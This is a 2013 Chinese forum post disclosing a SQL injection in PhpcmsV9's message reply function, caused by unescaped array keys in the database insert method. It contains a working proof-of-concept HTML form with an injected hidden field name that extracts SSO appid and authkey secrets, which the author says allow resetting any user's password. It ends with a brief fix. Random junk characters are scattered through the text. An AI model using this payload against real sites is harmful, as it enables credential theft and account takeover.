找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2256|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:& l( d# ]* y0 R5 A* C
# p( N8 L0 f% Z2 R. c9 H
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
1 e" ~/ b4 D) m7 W) P. T
9 m; M& `; a" O明天再更新下一个漏洞。- V  O% _: g% o4 p0 F' Y
详细说明:
- a0 L1 e% O6 o* L1 r* P在/phpcms9/phpcms/modules/message/index.php中有代码如下:
+ ~8 y9 k$ Q2 h* o3 _, l4 {
/ W* ]" O7 {$ A" m$messageid = $this->message_db->insert($_POST['info'],true);
. H% `: ]7 c: X! I# L
' `3 z6 e% N7 S( n$ |! u. H- Z+ p, \9 w: u! M+ t' F7 L2 i# S! Y" u/ L
insert方法是key value的,代码如下:
3 y  b7 Q/ e  F6 o' B
9 s; L, Q* U+ u* F1 p5 S% V% Jpublic function insert($data, $table, $return_insert_id = false, $replace = false) {2 [* G! k1 U2 M% k/ l
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
, n0 t5 S5 U6 B5 X                        return false;
' W- `9 Y9 ?- x                }
6 D9 v) O3 C1 w, ~8 w                # i/ T$ [7 Q9 D1 g
                $fielddata = array_keys($data);
8 s( i* D: G' W, E2 A7 G                $valuedata = array_values($data);
, `6 b6 m( b3 j+ F# P9 O* P. v5 M+ \                array_walk($fielddata, array($this, 'add_special_char'));
9 r4 R3 X! q& ?; j& P+ K! c                array_walk($valuedata, array($this, 'escape_string'));1 Z/ I9 p7 M" R  R. D
                , q% O; j6 j  G. L0 m4 b" a) ?$ D
                $field = implode (',', $fielddata);- y* G8 r* k' ^+ {: S
                $value = implode (',', $valuedata);
* F5 E; D+ @# c2 p+ B
6 p4 n: a# w9 L# A. w                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
4 T* E3 I1 }: u7 x6 l, ]* Q                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';* i" G4 P/ C1 f
                $return = $this->execute($sql);$ H- ?6 s  w/ ^8 S
                return $return_insert_id ? $this->insert_id() : $return;
3 ~& o* I& y9 Z7 \        }
. F2 n! m- d6 |8 N3 r' G! ^+ v. z" s6 Y$ [2 S, I6 ?

' J! f/ T' p6 Q0 e& A' T, b+ l嗯,很遗憾的是
+ e. _, S0 ^, G( r- o7 H# N* X4 S  A' U& L
array_walk($fielddata, array($this, 'add_special_char'));
+ T# `. ^3 f: N- G8 Y9 p4 M. b
- `( Y+ J) d% K6 r
3 J3 `4 `5 t/ o" I' V# [) _中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。. ^- W+ F+ B: V0 W

9 W+ d+ ~  W/ ]( ?/ p到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
8 B9 u- n, M9 T: O' V* o7 g$ \2 I, Q8 Y
漏洞证明:
& p) Z" f$ d' Z7 p4 ]/ R2 ^7 m: y读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
1 R# Q: R" q) P3 F8 h
1 w3 W. l1 `: M. \! l0 \
) S/ Q  \( g$ \/ x8 b* H! u表单如下:用户名什么的得自己改一改。# X0 E- F5 i+ c( ]; @7 s4 o. }% R
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">4 {6 V4 B) H* I- z2 S  S2 E
<table width="100%" cellspacing="0" class="table_form">
# h" q' E" ]& U7 Z* y5 f<tr>. P2 Q/ m) f% t; V% b9 a
<th>标 题:</th>
5 l- [+ n9 A1 i( y& r4 ?<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
& \9 }' p  k. ?  [</tr>
" K: I# M. t5 `- x# E/ y; Y<tr>7 t- D% {2 n, R' N  V
<th>内 容:</th>( f6 E& ?* J5 o
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>9 b5 b; t0 d- S- B9 Z( ]7 P+ B
</tr>9 b4 r; v$ P5 Q6 ^! l' B
<input type="hidden" name="info[replyid]" value="2" />
$ D! E! q: N' s& e<input type="hidden" name="info[send_to_id]" value="cc" />
% G; J' S& r; i5 y( t<input type="hidden" name="info[send_from_id]" value="hh">
+ P; v3 u& u0 C2 P, m/ ~3 J2 l<!-- 漏洞的利用重点在这里开始 -->
0 |2 ~% i" W$ x" n7 [& R<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> # T" i6 V: l7 U* I4 e' l' t3 y
<!-- 漏洞的利用重点在这里结束 -->
4 G/ P" x' t* g  d  w<tr>
1 h& b% y  H' k/ [4 w<th>验证码:</th>
8 _  o, K" B7 T0 Z<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>& [6 h) z5 @( U6 o, j
</tr>' G3 I9 P% s  ~; }5 O3 N4 A
<tr>9 E' K# ^( o' P: Y7 n% U3 S
<td></td>( S& O6 x, b; V3 _5 B
<td colspan="2"><label>4 G8 t4 z" U& J+ J% b5 ^
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
: g1 M) o# D  r* @- B</label></td>
( D. t7 J# v& k4 K8 U2 D2 J& i$ M</tr>
- [  b0 C% v7 \& h2 X$ u</table>
; q+ r8 a! i1 a& g, G% F# b2 b' s</form>
& t& n% F+ U4 ~) K在add_special_char函数内对key做过滤就可以了。1 I! c7 r* r* n9 R2 }9 j. |

: Q+ M8 |9 n! R8 o# o# I; o$ D
3 B; k- A* D/ \8 D- N. d/ K7 Z* X) V4 {( v

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表